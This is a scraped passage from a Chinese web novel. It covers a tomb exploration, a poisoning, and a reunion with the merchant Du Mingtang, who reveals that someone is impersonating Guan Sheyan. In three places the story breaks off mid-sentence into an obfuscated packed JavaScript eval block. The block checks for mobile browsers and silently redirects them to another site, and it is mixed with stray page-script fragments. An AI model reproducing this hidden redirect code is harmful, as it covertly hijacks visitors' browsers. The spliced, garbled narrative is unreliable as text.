他举着手中的风水罗盘:“此物还有这具尸骨……都足以证明,他便是那位布阵高人。时过境迁,未曾想过我与他会以现在这样的方式再遇。” “他为什么会死?” “传闻中,世人不接纳他,郁郁而终,死在隐世之地。但如今看来,他在死去之前还特地布下了此阵,想来是为了以了心愿吧。” “就像错失好马的伯乐一样。这样的错过,的确惹人痛心。”魏郁春默默垂下首,以示默哀。 关阇彦捧了一抔土撒在了尸骨上,将风水罗盘收入包裹中,道:“尸骨风化太久,无法查明死因,与传闻不符。尸骨所在之地又如此敏感,处处存疑,若有机会回故地,需严查清楚。” 魏郁春颔首,等他手里的事情了却,她才跟他说:“跟我来,我发现了一个巨大的线索,和陆子礼有关。” 听到陆子礼的名字,关阇彦立马精神了起来,然后随着她一起往另一处石壁走去。 魏郁春手里举着蜡烛,努力往上够,但却也只能照亮一隅。 她便踮脚便道:“我刚才看到一些文字组合和陆子礼给的拓印里的很像。” 关阇彦看着她那副着急忙慌的模样,眉头上扬,也没问她,直接站在她背后,抓走了她手里攥着的蜡烛。二人的手在无意间有了触碰,电流之感再度袭来,魏郁春忘记了眨眼,又听到身后之人带着笑意的嗓音低低的:“算了,你这小身板子能够到什么?” “嗯……嗯。”魏郁春不敢转身,也不敢多言,她的脸红得快涨开了。 但刺激的还在下面。 关阇彦压根没听到魏郁春说话,只感觉到几丝嗡嗡嗡的声音在身前颤,他见女子一动不动好像木桩,他狐疑地前倾身子,撇头绕过一边,露出半边侧脸,正盯着她看。他手里的烛光颤颤巍巍,将他的眸子照得透亮,宛若星辰。鼻梁也很高,勾勒着侧脸上最漂亮的线条。 “你方才说什么?” “我……在看你。” 她只感觉心跳漏了一拍,也不知自己到底在说什么。 关阇彦也懵了,魏郁春这才知道自己说错了话,她连忙堆笑,不过这笑容放在她这张冷脸上实在牵强:“哦……哦,我是说,我在看你……手里的蜡烛,这样才能保证照亮石壁上对应的位置。” “冯迎春,你今天越发不对头了。” 魏郁春心想,难道暴露了? 她硬着头皮道:“怎么了?” 关阇彦叉腰皱眉:“你今天有点太好说话了,老实说,是不是在心底说我坏话?毕竟你确实需要我的保护,不讨好讨好我一点,容易出事吧?” 她眨了眨眼,想到古溪村他的种种行径,心想,他以为自己和她一样吗? 看来他没怀疑到那方面,那就好,她松了一口气,红潮也散去了,她恢复理智:“当然没有。” 关阇彦弯着蓄满疑心的眼,指着她道:“是不是心里又在谋算什么坏注意?” 魏郁春一时无语,她的目光已经移开他,直接投射到了石壁上被照亮的文字,道:“你觉得是什么就是什么吧。” 关阇彦知道再怎么问下去都问不出结果,索性不纠结此事了:“看出来什么没,这些文字藏了什么秘密?” 魏郁春一列一列地将古文扫下来,她愕然发现它们竟和陆子礼的拓印文字完全一致,她的记性一向很好,即便一目十行,她也能很快将文字们的轮廓或是框架记住。所以,在这方面上,她不可能怀疑自己的能力。 她沉重地说:“没错,这些就是陆子礼给我们的拓印内容。” 关阇彦面目上浮现出被背叛后的恼怒之色,但是他将怒意压得很深:“陆子礼骗了我们……呵呵,亏我之前还给他找理由,在石墩上迟迟没有发现一致的拓印文字,只是因为我们去的地方和他的所在地不一样罢了。” “陆子礼说他听到了海潮声,通过辨别声音离开了盘龙山。可这座山有诡阵镇守,他不可能对此丝毫不知。” “在凶地沾了凶气,即便避开了也再难逃一劫,”关阇彦冷道,“因为他的鬼话,我只好判断,只要不在凶地被幻觉影响见了血,便能避来凶气的追杀。如此,他一个人行走山间,就算真的没有黑衣人,他靠此安全出山不是没有可能。” 魏郁春扼腕而叹:“凶气逃不掉,方才黑衣人说过,此山难进却易出,前提是找到祭坛,再顺着地道跋涉过几只山才能出去。这意味着盘龙山的阵法本就不打算给人活路,见血不见血的区别,只在于死得是快是慢,困死在山中也是死路。否则,大家为什么要通过地道远离到别的山上,才能成功重见天日?” “陆子礼来过这里,他拓印的内容也源于此地……性质更是一样。他恐怕就是窃取法器的贼人。” 魏郁春一边说着,一边往回走,她有问题要问那黑衣人。 她怀疑不同区域代表着不一样的性质,就像八门和吉凶的关系一样。 如此以来,不同石墩上记载的秘术,是不是也对应着不同的性质? 比如,某一处的石墩代表的就是换脸之术。 所以,祭坛会不会也跟八门石墩一样,不同祭坛对应的秘术各有千秋,此地则刚好和换血凝丹有关…… 包裹石床的烛圈是一个很标准的圆,起初,她和关阇彦都是绕着左半圈走,再慢慢往右移,按照顺序寻找可疑的线索。现在,她所在的石壁之处位于右半圈,她就顺其自然地绕着右圈回来了,但她怎么都想不到会踩到触发机关的陷阱。 脚下被灰尘掩盖的是一块质地偏软的土,隐藏得很好,踩下去才会发现不对劲,藏在石床下的箭匣已被触发。 数百只小臂长的箭在同一时间发射了出去。事发突然,关阇彦也完全没有料到此事,他追上前去。 “冯迎春!”他大喊一声。 魏郁春紧张地回过头去,关阇彦提着剑飞速将包围在四周的箭扫飞,他已经赶到了她身边,可在为她拦走前方障碍的时候,根本没办法照顾身后的情况。 魏郁春狠狠攥住了他的手臂,用力甩了个弯,让他避开身后袭来的利箭。 这次关阇彦才彻底明白,她的的确确是想保护自己,连自己的安危都不顾了。她明明那么惜命…… 关阇彦一时不知所措,他狠狠把她重新拽回来:“冯迎春!你疯了吗?!” “我……” 魏郁春根本听不进去他的话,她只是觉得是自己惹来了这样的麻烦,就应该承担责任。 若没有她,关阇彦也不需要费力保护她。她不能连累了他。 她忍着心底的恐惧,眼看一只箭又要冲过来,她挣脱了关阇彦的手要去挡,尽管关阇彦竭尽全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关阇彦怔了怔,因为当时的线索也是他无意间发现的,觉得应有第三派黑衣人会掳走村子里的孩子,但种种迹象又表明黑衣人们没有要回来的打算,要不然也不会费尽心思污蔑冯家。 既然没有充分的证明,他自不好信口胡说。要不然以冯迎春的性子,就算可怕的事不发生,她也会杞人忧天至死。 他没想那么多,道:“线索不足,也有错判的可能,告诉你了岂不是浪费时间?” “浪费?”魏郁春声音强硬了一些,在他的背上摇摇晃晃,不得安分,“我没有你想得那么不堪,你没必要瞒着我。” “好好好,”关阇彦本就着急跑着寻找出路,她这一闹,反而不方便了,他只好苦笑,心想她也是需要好话哄着的那号人物,“这样,没有瞒你,只是担心你而已。” “嗯……嗯。” “这下行了吗?” “行。”魏郁春果真不闹腾了。 “继续,你要问什么,我来回答。”关阇彦努力让她醒神。 他想到了要紧之处,又连忙补上:“当然身份除外,这是铁令。” “那接着上次的故事讲吧,未婚妻的故事……” 关阇彦讶住:“你对此事耿耿于怀到现在?” 魏郁春的回答正经得很,很难让人想歪:“那是你上次吊人胃口……我本就喜欢有始有终的故事。” “呵,你的确是个求贤若渴的人。”他无奈地摇摇头,也不知是不是在讽刺她。 “所以,你是真心喜欢那未婚妻……还是跟你父亲一样是是被迫结亲的?” 魏郁春虽然头昏脑胀,但她清楚地知道自己是在“倚病卖病”,寻日也想试探他,但心底的羞耻心根本无法让她开口,甚至用心深入细想一番都不能。 此时,她已控制不住嘴巴,脑子里有什么主意,她都一股脑抛出来问。 69. 墓窟玄夜(2) 关阇彦拗不过她,只好回答她:“既然你这么想知道,告诉你也无妨。” “说起来可悲,我和我父亲一样,受家族所控又不得不从,从小到大真心喜欢什么样的人,我自己都弄不明白。” “你……” “我和我爹一个样,家里早就为我定了亲事,只是我常年在外对此一无所知,去年我刚回来,就莫名其妙多了个未婚妻,我和那女娘甚至一面都未见过……不,也许是仅仅是有过一面之缘。” 关阇彦说着说着,回忆慢慢牵引到幼时爹娘带他去朔州府魏家的情形,那时他混在胭脂堆里,那家里的女眷七七八八都见过,不过都记不住,那时他也没想过自己会和其中一位女子会有姻亲之缘。 “你和你爹一样?”魏郁春摇了摇头,“你也有个心属的女娘在外么?” 关阇彦听此,竟哈哈大笑起来:“我自己还没提到此处,你便帮我想好了?若是这样对比,那自然是不一样了。我常年在外,出过最远的门就是现在脚下的南禺之地了。” “总不能说,你自己就是这位痴情女娘?” 魏郁春一噎,摇着的头像只拨浪鼓,她已经红了脸,但嘴上却快速否认:“我不喜欢你,你别胡说。” “这么开不起玩笑?”关阇彦只想着逗她。 “你……没想过反抗吗?你还有反抗的余地,毕竟你并未成亲。” “还是那句话,若是可以反抗又何必拖到现在?”事到如今,除了接受现实,他能做的也就是强装着无所谓,再安慰自己,“世上真情酿成之人少之又少,我不认为自己便是这其中一个。到头来都是平淡收尾,都是找个人搭伙过日子,没区别。” 魏郁春是性情中人,她眷恋于书册奇闻轶事,外面的市井百巷她不曾见过多少,她又年少,对人心之浪漫还留有希冀。 听到关阇彦太过理性而又自暴自弃的话,她觉得伤感:“太现实了,若是现实不好,也不必强求自己融入其中。” 关阇彦只觉得她天真:“你见识太少,不懂这些。” 他还摆起了年长者的架子,分明也就只比她大三岁。 魏郁春反驳:“诗书百味,也算见识。” “但你不可能将自己一辈子都困在诗书之中,总有一天得面对现实,逃也逃不开。” 关阇彦沉声说着,话语里好似带着同龄人所不及的沧桑,的确是经历过太多事的人。现在的他,和寻日不着调的他像是性情截然不同的人。 “是……”魏郁春颓了下去,她想到前世种种,觉得他的话不无道理。 “再坚持坚持,要到了。” 关阇彦看到前方愈渐宽敞的路,寻思应是到了黑衣人口中的“墓穴”之地,那里没有光亮,他的手臂得架住魏郁春,只能勉强抓着一只小火炬往前探,凭借的火炬的微弱光亮。 他远远地看到墓穴的轮廓,里面好似有个人影……模样高瘦,蹲在那里,形容萧索。本该诡异的情形,却让他无法产生遐想。那东西危险性一看就不高。 什么玩意儿? 他不禁皱眉,大步流星而去。 …… 墓穴之中,阴气四溢,宽敞的地面下埋着数不清的尸骨,大人小孩的都有,塞都塞不下,一些白骨手穿出地面,索魂似的朝上森立着,感觉下一刻整具白骨就要撑着地面破土而出。 杜明堂在上个月前接到一笔来自潮州府的运茶生意。他在寻找对接脚夫的时候顺便查了账,却忽然发现潮州商会账目下记载着的关于杜家的往年账目有所变化。 但他分明记得往年传录去商会的账目与此时所见有出入。于是,他翻越杜家往年压箱底的账本,却突然发现账本已不翼而飞,而这一切发生得无声无迹,整个杜家对此都一无所知。 账本丢失,他就是记得一些数目,也无法重新将各行各业运转时的记录载入其中,别人只会将这种没有根据的数目当作假账。 生意已经接下,若是突然回拒,约等于自掘坟墓。眼看夏税收尾在即,商会也会在此时,将商行集聚起来的部分钱财上供官府,权当作是以驱赶地棍流氓的“保护费”。他公然在此时和买家闹掰,不就等于长着嘴巴在大街上嚷嚷他有漏税做假账的嫌疑? 自从六年前杜家协助朝廷在江南地带引导水利失修的百姓改种木棉后,于是植棉州县之地的百姓们才得以棉织布、以布易银、以银籴米、以米充兑。 自此以后,江南绝大部分的棉布产业都由杜家掌握,杜家还支出了大部分银钱兴修水利,把江湖严重壅塞之地改良成适宜种植水稻米粮之地。 杜家声名鹊起,当年协助办事的官员自也是得了好处,在朝中为杜家说尽好话,皇帝那时年少,看见百姓因他的明智之举越发拥立于他,一高兴就把杜家掌舵人收入朝中顶了个官职——从古至今,有几户商贾能有本事在朝中获个一官半职的?杜家便是中晋开国后的第一位。 虽朝中并未在明面对杜家下定论,但在外面,谁不称这杜家是当世皇上的大红人?皇商之名就此而来。 中晋盘踞各方的商号多矣,哪一个不是虎豹豺狼?官商关系僵化,偏偏这杜家能坐镇二方,这六年来,杜家没少遭人陷害,但闹得都不大,毕竟再嫉妒也不敢明面上攻击,幸好最后这堆烂事都能被摆平。 但这次出的事情太大,杜明堂怎么都想不出,为什么账本会不翼而飞,明明看管极厉。 眼下,他也无空去寻账本,只好秘密来到茶商所在之地南禺,亲自找当地官府谈判,以免风声走漏。 杜家往年也接手过不少茶业相关的生意,算有熟人把关,做生意时,他为了保险起见也会另起一份账簿留给熟悉的官牙。此行,他正是准备两手抓,一手抓茶商的生意,一手则去找熟悉的官牙把备用的账簿要回来。 届时有了证据,他自然能大摇大摆地找潮州公关会所要求去官府备案,以证杜家清白。 这次……到底是哪个家伙想要陷害杜家?手段是史无前例地狠毒。然而嫌疑人太多,杜明堂想得两眼一黑。 于是他将此时秘密告诉了他爹,要了一帮精挑细选出来的送行打手,前往南禺。打手至少五十人,最后莫名其妙遭到了追杀,一路护送逃离,就剩下了不到十人。 逃到最后,眼看前方是海无路可去,就只好往海崖前的盘龙山攀爬上去,一上去就是头晕目眩,还没等十个打手来搀他,他就自己滚下了一处土坡,然后脚上被刺藤缠绕,被硬生生拖到了这个尸骨成山的地方。 他根本不知道这是什么鬼地方,孤苦伶仃地靠在唯一一处没有被满地白骨堆积的石墙脚下,欲哭无泪——哭也哭过了,闹……他不敢闹,怕引来追凶,总之到最后眼泪都哭干了。 他堂堂京城皇商杜家大公子,风流倜傥一辈子,年纪轻轻,一本账本一只毛笔,行走在全中晋最富庶的地带,无人不知他的名号还有他那一流的绝技“鬼算盘”。 结果,他现在竟只能被困此地,把长大后许久没流过的泪,全从身体里榨干出来了。简直是奇耻大辱。 他蜷缩着身子,只一抬眼就看到了不远处离自己越来越近的火光,那火光远远的,在关阇彦低垂的手上摇摇摆摆。 这在杜明堂眼里,和鬼火有什么区别? 那鬼火越来越靠近,杜明堂慌乱打量四周,里面好几个洞穴,每一处洞穴门口都堆了灰泥和尸骨,他只觉得这是在暗示他这里每一条路皆是死路。他离不开,也不敢闹出声音,瑟瑟抖着,在原地等待厄运降临。 火光快速进入墓穴,关阇彦终于看清了那狼狈身影的主人。 他简直不敢相信自己的眼睛:“杜明堂?!” 这嗓音……怎么这么熟悉? 杜明堂污手垢面的,灰扑扑的脸上就眼睛还亮挺。 “你是……何人?!” “关贤齐……怎么有别人的声音?”魏郁春喘着痛苦的息,缓缓问他。 “关贤齐?!”杜明堂膛圆眼睛,捂住嘴巴,满脸不可置信。 他和关阇彦是多少年的老朋友了,从小都被双方父母送到同一所京城最好的贵族书院学习,不过几年后关阇彦就离开了京城,回到了岭阳老家。即便如此,他们闲下来依旧会聚一聚,二人可以说是光屁股打照面的关系。 杜明堂从父学商十多年,心眼比蜂窝眼儿还多,交的朋友皆是利益商友,互相阳奉阴违、你来我往的,早已习惯,从不交心。所以这么多年来,他也就只有关阇彦一个挚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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关阇彦眼光撇着石壁上的几个洞窟,寻找最右边的那条路,这条路被从头顶高处的“天窗”洞穴荡下来的瀑布似的藤条,掩盖住了洞门,果然藏得隐蔽,若不留心就走错了。 他撩开洞穴上的刺藤要走,示意杜明堂跟上,结果那人在腰包里不知掏着什么。 “别急别急,也不知道待会儿要走多久,她肯定撑不下去。” 杜明堂手里抓着一粒黑黢黢的丹药要递出去。 关阇彦止住他的动作,嘴角牵强:“这什么东西?老鼠屎?” 这也不怪他嘴毒,因为在关阇彦对杜明堂的印象中,他从小就喜欢往嘴里塞东西,目前除了屎,他都想不出还有什么东西没被他那张嘴啃过。 “你现在说话怎么还这么难听!”杜明堂不高兴地甩了把袖子,结果一袖的灰尘铺天盖地,他自己被呛得半死。 “这是百草丹,我爹特地去找宫里的老御医讨要的,能克万毒,即便对抗再厉害的毒,也能拖延至少五六天时间。这东西可不是老鼠屎,用了百种毒草淬炼了整整一个月才出这么一粒,我爹一下就给了我五粒呢——” 得,又开始一口一个他爹,杜明堂小时候家里还没发达到这种地步,人薄得跟个瘦鸡似的,嘴巴也不会说话,不少小少爷总想欺负他,关阇彦在的时候还能护着他点,走了后就不好说了。于是,他就教这小子一些嘴功夫,最好仗势欺人的气势也要学起来一点。没想到后来说着说着就成了口头禅,凡在外头,他的名头要响亮,他爹杜掌舵的名头必须更响亮。 关阇彦不耐烦地打断了他,直接取来百草丹喂入了魏郁春的口中,他蹲下身来,把她从背上放下,扶着她不倒。 然后使唤起杜明堂:“帮我从包袱里取一下水袋。” 杜明堂傻愣愣地应了他一声,倒不是习惯被关阇彦使唤,而是他第一次见好兄弟对哪个女人这么上心,难免发懵。 “喝点水,把药咽下去,”关阇彦接过水袋,扶着魏郁春的手让她自己握住水袋,好不容易喝下几口水,险些呛着,他一脸紧张地帮她拍拍背,“慢点。” 我勒个亲娘嘞…… 杜明堂敢保证,若真是为了救人性命,关阇彦也绝对做不到这个份儿上。杜明堂竟有些嫉妒了起来,因为关阇彦都没这么对过他,不心狠手辣就不错了。 “哎呀,这位姑娘是……”杜明堂常年游荡于市井间,练出来的九转八卦功忍不住发力了。 “关贤齐……我还有个事要麻烦你……”魏郁春竭力说这话,关阇彦压根没听进去杜明堂在吧啦什么。 70. 情非得已 “嗯,”关阇彦收走水袋,手里腾不出空来,就直接丢给了杜明堂,“你说。” 杜明堂:“?” “只……只要把盘龙山祭坛的王叔儿子的尸体还有其他孩子们的尸体……还有那几个黑衣人的尸体带回古溪村,我们家的嫌疑就能洗净了吧?” “还有遗留在村郊密林里的黑衣人尸体……这些证据足够了吗?” “嗯,那些孩子们的尸体就是铁证了,”关阇彦默了默,“但王叔的尸体至今没能寻到,不过有了孩子们和黑衣人们的尸体作证,加之里正和官府的仵作的协作调查,没有人可以再妄自非议冯家了。” “集市的老书生呢……” 魏郁春对此事依旧耿耿于怀,先前古溪村事情堆积成山,她无法抽开身,王叔又死了,死无对证下,她更加无法将他怎么样。 仅仅是让百姓们看清他的真面目……这还远远不够。 关阇彦也没想到她还记着老书生的仇,想了想觉得如此处理颇好:“王叔的尸体不是不见了么?村里人定会耿耿于怀。反正村人不会再怀疑你了,不如趁机把老书生供出来,让他亲口当着村人和官府的面解释清楚当时的事情。黑衣人双面之事说出去也没人信,黑衣人死了,案子不收尾又人心惶惶,不如学着黑衣人的手段把锅甩给老书生。虽然黑衣人所谋与他无关,但若不是他的坏主意,王叔也不会被盯上。关键词都在王叔身上,大家泄愤肯定会找老书生了。” 魏郁春虽然晕晕沉沉的,但她的思维却也保持着清晰:“这些黑衣人死了……别人会怀疑是谁杀了他们,到时候你怎么办?” 这还不简单。 关阇彦瞥眸看向还在看着他俩发呆的杜明堂:“你那帮打手是不是还有八九个人左右?” “你怎么知道?!”杜明堂大为震惊。 “你那些打手的装束是不是也都一身夜行衣,外还裹着头和脸?” 杜明堂点点头:“打手这行当在外容易遭仇,办事的话肯定得掩饰一下面容身材。” “果然……之前遇到的两拨黑衣人行事风格大有不同,多的这拨黑衣人又不是信徒,杜明堂你又刚好出现在此地,那么那些人就只能是你带的打手了。那几个人绕进山中阵法的幻境,还跟我们对打了一阵。” 如此以来,“陆子礼、不是信徒的黑衣人、窃取法器且会换脸秘术的贼人”的复杂关系中,黑衣人的存在便可抹去,而陆子礼刚好就是窃取法器的贼人。此难题终于被破解了。 魏郁春听了也迷迷糊糊地点了头。 杜明堂摸摸脑袋,其实方才前面这两人你来我往说的话,他根本没听懂,字都是熟悉的,组合到一起偏偏一处衔接着的句子都不懂。 他的精明劲儿消失了个尽,只好将信将疑地猜测:“你们打算把我那些打手找回来?这……妈呀……还上去?送死吗?” 关阇彦摇摇头:“南禺的商会不也有你家吗?找个对接人去村里面解释,就说是你家的打手见这些黑衣人有心害你,误打误撞杀了黑衣人。” 杜明堂:“是个好主意。” 魏郁春弱弱的声线又响起:“还有我爹娘……妹妹,我出事了他们就无人照顾了。” 关阇彦神色一定,反而是杜明堂上赶着抢话答:“停停停!打住!我就说怎么刚刚听你们说话觉得怪怪的,敢情跟交代遗言一样。姑娘你服用了我的百草丹,保准不死,看你是我家关——” 关阇彦连忙止住:“咳,五日内他在商会上的人脉会将我们送到城镇,届时会有人给你看好病。” 杜明堂眨巴眨巴眼,用眼神问他:“怎么了?你不让我叫你名字吗?” 关阇彦没理他。 他自己又说:“总之,姑娘不要气馁。我听我这朋友说能找到出路,只要能出去,你就不会有事的。” 然后他指着关阇彦看魏郁春的手,原本蔓延到小臂的紫色褪到了指尖,嘴唇上可怖的青紫色也淡了不少,如此一看,竟是个娇滴滴的大美人。 杜明堂骄傲地点点头,心想百草丹还真是名不虚传。 “五日……时间很赶,小憩一阵就出发,明日天亮前必须找到去当地集镇的车马,此毒厉害,之后还需回京城另请医工,”关阇彦对杜明堂道,“那送尸体的任务就只好叫你派人帮忙了,此山有怪阵镇守,我待会把下次确切入山的日子给你算好,记得务必只选一名壮汉入山,带走尸体去一个叫做古溪村的地方。当然落入穴内找出路的办法也会交代好。如何?” 他已亲自堪破阵局,只要时间和日子上算准,入山的规则遵守好,再次入山也并非难事。 “原来这山如此怪异竟和阵法有关……”杜明堂深以为然,颔首道,“放心吧,没问题。” “……等等,关贤齐,我要去京城么?”魏郁春这才反应过来。 “嗯,我这位友人住在京城。” “友人?” 能有百草丹如此神药的友人、谈吐举止和衣物穿着都不凡的友人、能住在京城的友人? 魏郁春惨兮兮的面色忽然绽出一个得意的笑:“果然,我没料错……你不是普通人,你是中原京城的武官?还是将军校尉?你之前一直在骗我。” 分明是揭露对方虚假面具的时刻,她不但因感到所谓的背叛而失望垂泪,她的种种表现无一不体现着此事——她其实早就看破了他的真面目,但是一直装作不知道,还故意等着对方自己露出马脚的一天。 现在关阇彦暴露了,她当然觉得得意。 关阇彦坏坏地挑眉,读懂了她的心思:“你一直藏得挺深。” 他还是没有主动承认身份,但也表示了默认,答案保持着模糊的状态。 气氛越发沉窒,杜明堂愣是没好意思再出一口气。 “能不去吗?”魏郁春问着。 “不能,你中的毒非同一般,若不是京城的医者,没人能救你。”她的毒连百草丹都解不了,那丹药只堪堪帮她吊着半条命。 “那你答应我……记得给我爹娘捎句话,你身份尊贵,应当不缺钱,顺便捎些银子给他们。” 虽不是亲生爹娘,但也是能再度给魏郁春生命的恩人的恩人,冯迎春死了,她会愧疚,为了弥补,她会加倍地对冯家人好。夏税在即,一个月内,冯家一家老小哪来那么多钱缴纳高额的茶税?便是直接拿茶叶兑税,他们大的身体残疾,小的身子骨都没长全,怎么去采茶? 这段时间出的事多,魏郁春只能一次又一次地掏空家里的存银,若不想办法将银钱充盈起来,冯家注定会迎来下一段不安宁的时日。 魏郁春调动体腔内所有的气力保持清醒,她的面色忽地变白,死死撑大眼,吊着那一口气不肯松,就是在等他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447413|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回复。若他不答应,她绝对能给自己逼死,毕竟一身傲骨。 关阇彦瞥了她一眼,都这种时候了,她还不忘算计自己。 “行。”但他还是答应了。 话音方落,魏郁春就松了气,慢慢晕睡了过去。 关阇彦不知是气还是笑,只觉得真不知道该拿她怎么办。 他察觉到令自己不舒服的目光,而那目光来自于杜明堂,他正上下打量他,发现他在看自己,狐疑似地开了口:“关……贤……齐?” 关阇彦目光如刀,斥他:“滚。” “是了,这才是正常的反应。”杜明堂抹了一把额汗,“你以前可是最讨厌别人换你这个小名了,怎么随随便便让一个女人喊了?你是不是……等等,不对啊,你们关家那传统不是不让人娶妾吗?你未婚妻怎么个事?” 关阇彦小时候上学堂的时候,因为脸臭骄傲,旁的小孩子都不敢找他玩,得不到就毁掉,不少少爷公子哥背地里叫他小名,谐音就是“贤妻”,跟巧儿唤他名字的反应一模一样,果然小孩子都有相同的令他厌恶的点。 后来他长大些,被爹娘从岭阳带到朔州府的魏家,外面疯传关大都督的嫡子一天到晚扎在女人堆里,像女人作风,“贤妻”一词险些坐实。 杜明堂深知他一被喊小名就要火冒三丈的性子,所以才会因魏郁春的做法感到不可置信。 关阇彦不爽道:“情非得已……还有你说的什么未婚妻,呵,一个月前我来南禺剿贼,被人暗杀陷害,沦落山头,近来被这女子救了。那时黑衣人——” 既说到此处,他索性把古溪村发生的种种离奇之事跟杜明堂说了个清楚,以免说到后面还要另加解释。 “起初我并未搞明白这群自称信徒的黑衣人们的来历,只以为他们跟暗杀之事有关,所以决定藏匿身份。” “那你怎么不随便另取新名?”杜明堂还是不理解。 而关阇彦却有理有据地说着:“哼,你以为随便什么阿猫阿狗的名字能配得上我么?名字随便取的听着更别扭,索性用了贤齐之字充作真名。” “哦……是吗?应该是的吧。”虽是答应,杜明堂看他的眼神却不清明。 “休息够了没?”关阇彦把魏郁春又重新背了起来,又催促杜明堂,“赶紧跟上来。” 杜明堂的状态已经比先前好多了,他站直身子,屁颠屁颠地追上了关阇彦快走的步伐。 走了一阵后,他才忽然意识到自己将重点放错了地方,觉得自己真是遭了一下难把脑子都糟蹋坏了。 这哪里是什么名字真假与否的问题,而是人本身真假与否的问题啊! 杜明堂瞪大眼睛,连忙后退两步,手臂僵硬,牵动全身:“你真的是关阇彦吗?” 关阇彦知道这小子不太正经,却没见过他发浑城这样的时候,他一边走一边看他道:“什么意思?” “半个月前……你不是在朔州府……给……给魏家大小姐魏澜清下聘吗?” 杜明堂满脑子泥浆般浑浊,伶牙俐齿的他,说话忽然结巴了起来,尤为怪异。 关阇彦的脚步终于止住了,他被一股不知何方突袭过来的恶寒包裹浑身,他的语气也变得虚浮起来,自信如他的人,如今却连自己都不敢确信……他怀疑是不是自己听错了什么。 “你……刚刚说什么?” 71. 李周之争(1) 窄小的穴道内,岑寂一片。 杜明堂和关阇彦都仿佛变成了两只石桩,二人互相凝视着,久久不说话。 最后关阇彦想起自己在古溪村的遭遇,说了话:“是人故意散出去的假消息么?为了掩饰我来南禺的事?” 杜明堂虽然心情起伏不定,但听他问了还是会认认真真回答他:“实不相瞒……这些消息已传遍整个中晋了,若真是假消息,不谈圣上,就是朔州府那边也应付不下去。” 关阇彦脸色越发难看:“哦?你的意思是有人假冒我了。” “所以我才这么害怕,”杜明堂指了指他,“我也不知道眼前的你是真是假。” “你要是不介意,我大可以把你小时候躲我房间乱撒尿的事情给你从头到尾复述一遍。”关阇彦不客气地回他。 “好好好,关师傅你可别念了!”杜明堂一脸头疼,他已不是过去任谁都能欺负的瘦鸡了,现在的他好面子得很,“没错,你肯定是真的,毕竟全中晋也就只要你知道……哎,不提这个!什么人如此胆大包天,敢冒充你?!谁不知你跟魏家的定的可是皇亲!这可是欺君之罪!” 关阇彦眼皮微垂,暗在阴翳下的瞳仁转了转,他也搞不明白了。 “古溪村还有盘龙山的黑衣人若要换脸,就必须杀掉对应的人,从此人脸上剥下一张完整的人皮,此术才能成。” 杜明堂一听又起了一身鸡皮疙瘩:“但是你这张沾花惹草的脸不还在吗?” 关阇彦冷剐了他一眼,后摇摇头:“所以我不明白。” “幕后之人想尽办法要杀我,却又非要杀得悄无声息。实不相瞒,两个月前我就听到了北贼往南的风声,父亲和母亲已经去往朔州府。一个月后,我收到密报,北贼疑似泄密,左都督出海对战以缓海患。之后我才会单独领军前往南禺擒贼。” 他冷笑一声:“你不觉得都算得太巧了吗?若不是幕后之人了解我的多疑的作风,就不会提前一段时间故意做出动静,让我先闻其声。若他不知关魏联姻之事,怎么会特地支开我爹娘?他甚至很清楚左老都督极善水战,所以故意闹出北贼泄密之事,从而引导海患发生来支开他,也不是没有可能。” “关魏两家联姻一事向来隐蔽,去年秋末两家才正式有所交集。朝中大臣不满此事,下聘的规矩才没照着传统办,两个月前正式下聘的日子也一直对外保密。” 杜明堂瞪大眼睛:“你们家有内贼?!你跟左老都督都常年在岭阳,你爹娘也是,关魏亲事也都对外保密……我的天。什么人这么有本事,连你爹那只老狐狸都能蒙骗过关?!” 关阇彦额角隐隐冒着青筋,语气凌厉得如能剜人的刀子:“是啊,如果没有内贼,北寇、岭阳、海患、南禺这四样事物是怎么无声无息地连结进一张局面的?” 杜明堂突然回忆起去年的事情。 “对了,去年秋末,你去朔州府了吗?”他知道自己正在揭秘一桩了不得的迷案,声线隐隐发抖,“去年事情闹得挺大的,什么堂堂岭阳关家,要来朔州府相看适龄的女眷。我听了还特地从徽州府赶到朔州府呢,结果压根没见你人……这……不会是那个时候凶手就打算对你出手了吧?” “你还真是提醒我了,”关阇彦嘴角上扬起一只冒着怒火的阴邪的笑,“去年秋末我当然没去。” “你那个时候没察觉到什么吗?若是及时止损——”杜明堂恨铁不成钢起来。 但关阇彦却打断了他:“怎么会察觉到什么?因为那些铺天盖地消息是我让放出去的。” 杜明堂傻眼了:“什么?!” “圣上不喜关家却没办法公然对抗民意,官员那边更是不好多言什么。他为了应付朝中不满的折子,才让关家去朔州府魏家的时候,不要放出太多的关于联姻的风声,所以你听到的消息是相看女眷,而不是与魏家嫡女定亲。要不然,魏家定会觉得势在必得,何必掺和进市井流言,一起造势?” 杜明堂知晓真相,震惊到说不出话来,本该精光四射的两只眼睛如今扑簌扑簌,好似不太聪明。 “然后呢?” “我本就不喜魏家,联姻是注定之事,这些表面功夫不过是做给朝中官员和百姓们看的,我去跟不去有区别吗?那不如不去。” “圣上那边怎么说?” “圣上睁一只眼闭一只眼,否则最开始的时候他也不会特地嘱咐关家那些事。” “也是……” “但总得有一人替我,圣上虽不在意,但做事太没底线就是不给面子了。于是我让关昀洲去的。” “关昀洲?!”这可是个敏感话题,就像杜明堂小时候怕被欺负时,躲到关阇彦的被窝里,后被吓得撒尿的性质一样。 这个话题比叫关阇彦小名“贤齐”的分量,还要重上数倍。 